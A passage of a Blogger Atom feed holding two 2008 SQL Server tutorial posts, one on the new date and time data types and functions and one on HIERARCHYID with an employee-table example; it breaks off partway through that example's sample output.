href='http://pratchev.blogspot.com/feeds/1692027287781743170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=1692027287781743170' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1692027287781743170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1692027287781743170'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/05/filestream-data-type.html' title='FILESTREAM Data Type'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-1937799065878663543</id><published>2008-05-20T12:55:00.001-04:00</published><updated>2008-06-17T13:01:25.557-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='datetime'/><category scheme='http://www.blogger.com/atom/ns#' term='time'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><category scheme='http://www.blogger.com/atom/ns#' term='date'/><title type='text'>New Date and Time Data Types</title><content type='html'>SQL Server 2008 introduces enhancements to the existing date and time data types.  The most important changes are the addition of separate DATE and TIME data types.  The DATETIME2 data type adds more precision to the existing DATETIME data type, and DATETIMEOFFSET provides support for time zones.  Here is a list of the new data types:&lt;br /&gt;&lt;br /&gt;New data types:&lt;br /&gt;&lt;br /&gt; • DATE (0001-01-01 through 9999-12-31)&lt;br /&gt; • TIME (00:00:00.0000000 through 23:59:59.9999999)&lt;br /&gt; • DATETIME2 (fraction 0 through 7)&lt;br /&gt; • DATETIMEOFFSET (time zone awareness)&lt;br /&gt;&lt;br /&gt;There are also a few new functions to support those new data types.  Here is a list of the added date and time functions:&lt;br /&gt;&lt;br /&gt;New functions:&lt;br /&gt;&lt;br /&gt; • SYSDATETIME&lt;br /&gt; • SYSDATETIMEOFFSET&lt;br /&gt; • SYSUTCDATETIME&lt;br /&gt; • SWITCHOFFSET&lt;br /&gt; • TODATETIMEOFFSET&lt;br /&gt;&lt;br /&gt;Follows a brief example to illustrate the use of the new date and time data types as well as the new functions.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- The range for the DATE datatype is from 0001-01-01 through 9999-12-31&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@date &lt;span style="color: blue;"&gt;DATE&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@date = &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;PRINT &lt;/span&gt;@date;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- The range for the TIME data type is 00:00:00.0000000 through 23:59:59.9999999&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@time &lt;span style="color: blue;"&gt;TIME&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@time = &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;PRINT &lt;/span&gt;@time;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Fraction 0 through 7&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@datetime2 &lt;span style="color: blue;"&gt;DATETIME2&lt;/span&gt;(7);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@datetime2 = &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;PRINT &lt;/span&gt;@datetime2;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@datetime2 = &lt;span style="color: fuchsia;"&gt;SYSDATETIME&lt;/span&gt;();&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;PRINT &lt;/span&gt;@datetime2;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Timezone offset range: -14:00 through +14:00&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Date range: 0001-01-01 through 9999-12-31&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Time range: 00:00:00 through 23:59:59.9999999&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@datetimeoffset &lt;span style="color: blue;"&gt;DATETIMEOFFSET&lt;/span&gt;(7);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@datetimeoffset = &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;PRINT &lt;/span&gt;@datetimeoffset;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SET &lt;/span&gt;@datetimeoffset = &lt;span style="color: fuchsia;"&gt;SYSDATETIMEOFFSET&lt;/span&gt;();&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;PRINT &lt;/span&gt;@datetimeoffset;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Functions&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;SYSDATETIME&lt;/span&gt;(),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;SYSDATETIMEOFFSET&lt;/span&gt;(),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;SYSUTCDATETIME&lt;/span&gt;(),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;GETDATE&lt;/span&gt;(),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;GETUTCDATE&lt;/span&gt;();&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- New ISO week option for week number calculation &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;DATEPART&lt;/span&gt;(&lt;span style="color: blue;"&gt;ISO_WEEK&lt;/span&gt;, &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Switch between time zones&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;SYSDATETIMEOFFSET&lt;/span&gt;(),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;SWITCHOFFSET&lt;/span&gt;(&lt;span style="color: fuchsia;"&gt;SYSDATETIMEOFFSET&lt;/span&gt;(), &lt;span style="color: #a31515;"&gt;'+06:00'&lt;/span&gt;); &lt;span style="color: green;"&gt;--Paris&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Set date and time offset based on DATETIME value&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;TODATETIMEOFFSET&lt;/span&gt;(&lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;'-01:00'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Convert DATETIME to DATE and TIME &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: fuchsia;"&gt;CONVERT&lt;/span&gt;(&lt;span style="color: blue;"&gt;DATE&lt;/span&gt;, &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: fuchsia;"&gt;CONVERT&lt;/span&gt;(&lt;span style="color: blue;"&gt;TIME&lt;/span&gt;, &lt;span style="color: fuchsia;"&gt;CURRENT_TIMESTAMP&lt;/span&gt;);&lt;/p&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Additional resources:&lt;br /&gt;&lt;br /&gt;Using Date and Time Data&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/ms180878(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/ms180878(SQL.100).aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Date and Time Data Types and Functions&lt;br /&gt;&lt;a href='http://msdn.microsoft.com/en-us/library/ms186724(SQL.100).aspx' target='_blank'&gt;http://msdn.microsoft.com/en-us/library/ms186724(SQL.100).aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-1937799065878663543?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/1937799065878663543/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=1937799065878663543' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1937799065878663543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/1937799065878663543'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2008/05/new-date-and-time-data-types.html' title='New Date and Time Data Types'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-3563585936875860514</id><published>2008-05-09T16:24:00.005-04:00</published><updated>2008-06-17T11:01:10.524-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hierarchy'/><category scheme='http://www.blogger.com/atom/ns#' term='trees'/><category scheme='http://www.blogger.com/atom/ns#' term='sql server 2008'/><title type='text'>Hierarchies in SQL Server 2008</title><content type='html'>Graphs, tree algorithms and structures have been used for long time in databases to solve hierarchy related problems. Adjacency list, nested sets, materialized path, and other hybrid methods offer different capabilities to help. &lt;br /&gt;&lt;br /&gt;SQL Server 2008 adds a new feature to help with modeling hierarchical relationships: the HIERARCHYID data type. It provides compact storage and convenient methods to manipulate hierarchies. In a way it is very much like optimized materialized path. In addition the SqlHierarchyId CLR data type is available for client applications. &lt;br /&gt;&lt;br /&gt;While HIERARCHYID has a lot to offer in terms of operations with hierarchical data, it is important to understand a few basic concepts:&lt;br /&gt;&lt;br /&gt; - HIERARCHYID can have only a single root (although easy to work around by adding sub-roots)&lt;br /&gt; - It does not automatically represent a tree, the application has to define the relationships and enforce all rules &lt;br /&gt; - The application needs to maintain the consistency&lt;br /&gt;&lt;br /&gt;Here is a one example of employee hierarchy to illustrate the usage of HIERARCHYID and the related methods for manipulation of hierarchies.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;div style="color: black; background: white;"&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;CREATE TABLE &lt;/span&gt;Employees (&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;emp_id &lt;span style="color: blue;"&gt;INT &lt;/span&gt;&lt;span style="color: gray;"&gt;NOT NULL&lt;/span&gt; &lt;span style="color: blue;"&gt;PRIMARY KEY&lt;/span&gt;,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;emp_name &lt;span style="color: blue;"&gt;VARCHAR&lt;/span&gt;(35),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;manager_id &lt;span style="color: blue;"&gt;INT REFERENCES &lt;/span&gt;Employees(emp_id),&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;org_chart_path &lt;span style="color: blue;"&gt;HIERARCHYID&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;/* &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;The primary key prevents cyclic paths.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;Another way is using a CHECK constraint.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;CHECK (org_chart_path.ToString() NOT LIKE '%/' + CAST(emp_id AS VARCHAR(10)) + '/_%')&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Insert the top level manager as hierarchy root&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Employees &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(1, &lt;span style="color: #a31515;"&gt;'Jeff Brown'&lt;/span&gt;, &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;, &lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::GetRoot());&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Insert John who reports to the top level manager &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Employees &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(2, &lt;span style="color: #a31515;"&gt;'John Doe'&lt;/span&gt;, 1, &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::GetRoot().GetDescendant(&lt;span style="color: gray;"&gt;NULL&lt;/span&gt;, &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Employees));&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Insert Peter at the same level as John&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;DECLARE &lt;/span&gt;@mgr &lt;span style="color: blue;"&gt;HIERARCHYID&lt;/span&gt; = (&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;org_chart_path&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Employees&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;emp_name = &lt;span style="color: #a31515;"&gt;'John Doe'&lt;/span&gt;);&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Employees &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(3, &lt;span style="color: #a31515;"&gt;'Peter Hanna'&lt;/span&gt;, 1, &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; (&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::GetRoot().GetDescendant(@mgr, &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;)&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Employees&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;WHERE &lt;/span&gt;org_chart_path = &lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::GetRoot()));&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;-- Insert Richard as reporting to John&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;INSERT INTO &lt;/span&gt;Employees &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;(4, &lt;span style="color: #a31515;"&gt;'Richard Burns'&lt;/span&gt;, 2, &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::Parse(&lt;span style="color: #a31515;"&gt;'/1/1/'&lt;/span&gt;)); &lt;span style="color: green;"&gt;-- Also: CAST('/1/1/' AS HIERARCHYID)&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;SELECT &lt;/span&gt;emp_id, emp_name,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; manager_id, org_chart_path,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.GetAncestor(1) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_manager,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: blue;"&gt;hierarchyid&lt;/span&gt;::GetRoot() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;top_manager,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.GetDescendant(&lt;span style="color: gray;"&gt;NULL&lt;/span&gt;, &lt;span style="color: gray;"&gt;NULL&lt;/span&gt;) &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_descendant,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.GetLevel() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_level,&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; org_chart_path.ToString() &lt;span style="color: blue;"&gt;AS &lt;/span&gt;emp_org_path&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: blue;"&gt;FROM &lt;/span&gt;Employees; &lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&amp;nbsp;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;emp_id emp_name &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;manager_id &lt;/span&gt; &lt;span style="color: green;"&gt;org_chart_path &lt;/span&gt; &lt;span style="color: green;"&gt;emp_manager &lt;/span&gt;&amp;nbsp; &lt;span style="color: green;"&gt;top_manager &lt;/span&gt; &lt;span style="color: green;"&gt;emp_descendant &lt;/span&gt; &lt;span style="color: green;"&gt;emp_level emp_org_path&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;------ ---------------- ----------- --------------- ------------- ------------ --------------- --------- ------------&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;Jeff Brown &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;NULL &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;NULL &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x58 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;/&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0px;"&gt;&lt;span style="color: green;"&gt;2 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;John Doe &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;1 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x58 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;span style="color: green;"&gt;0x &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style="color: green;"&gt;0x5AC0 &lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: green;"&gt;1 